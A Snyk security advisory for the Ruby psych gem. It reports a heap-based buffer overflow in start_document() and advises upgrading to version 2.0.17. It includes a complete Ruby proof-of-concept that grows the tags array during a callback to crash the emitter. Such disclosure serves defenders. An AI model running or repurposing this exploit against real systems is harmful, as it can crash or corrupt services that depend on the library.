Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade psych
to version 2.0.17 or higher.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the start_document()
function in psych_emitter.c
. Passing in a malicious tags array can trigger a crash.
require 'Psych'
$tags = []
puts "[+] Start"
f = File.new("newfile", "w+")
emitter = Psych::Emitter.new(f)
version = [1,1]
obj = Regexp.new("a".force_encoding("utf-8"),Regexp::Regexp::FIXEDENCODING)
def obj.to_str
puts "[+] Increasing size of tags array"
(1..10).map{|x| $tags.push(["AAAA","BBBB"])}
puts "[+] tags array size : #{$tags.length}"
return "x"
end
$tags.push([obj,"tag:TALOS"])
puts "[+] tags array size : #{$tags.length}"
emitter.start_document(version,$tags,0)
puts "[+] End"